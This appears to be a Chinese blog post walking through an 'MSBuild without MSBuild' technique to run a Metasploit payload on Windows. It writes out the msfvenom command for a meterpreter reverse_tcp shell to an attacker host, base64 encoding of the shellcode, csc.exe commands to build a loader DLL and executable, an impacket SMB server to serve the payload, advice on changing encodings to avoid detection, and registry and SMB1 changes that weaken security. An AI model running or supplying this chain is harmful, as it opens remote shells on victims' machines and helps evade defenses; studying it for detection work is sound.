昨天团队的小伙伴交流时提出的技术,记录下复现的过程。
需要的工具去文末下载....
不使用msbuild调用msbuild来构建程序的方法,看操作…
生成一个msf的payload并编码
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=2000
base64 -i /root/payload64.bin > payload64.txt
然后使用下面的方法得到一个dll文件
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs
得到dll后将msbuildapicaller.cs 的第60行替换成你smb服务器的程序地址..
smb服务器可以使用impacket开启
impacket-smbserver share `pwd`
当前目录,共享名为share
替换msbuildapicaller.csproj中的shellcode与dll地址
然后编译..
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs
得到exe文件,可以使用Assembly MSBuildApiCaller.exe去执行..
msf上线….
显示的效果..
具体实现原理
需要注意的点:
1、程序默认为base64编码,可以考虑更换编码方式,或二次编码。
2、windows10 1079版本无法匿名访问SMB共享文件夹
修改方法为:
(一)注册表修改
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:00000001
(二)开启smb1.0
打开控制面板----启用或关闭Windows功能----开启SMB 1.0功能
参考文章:
https://blog.51cto.com/11728495/2344044
https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/ https://github.com/rvrsh3ll/MSBuildAPICaller
觉得不错的,记得点个在看,点个转发哦..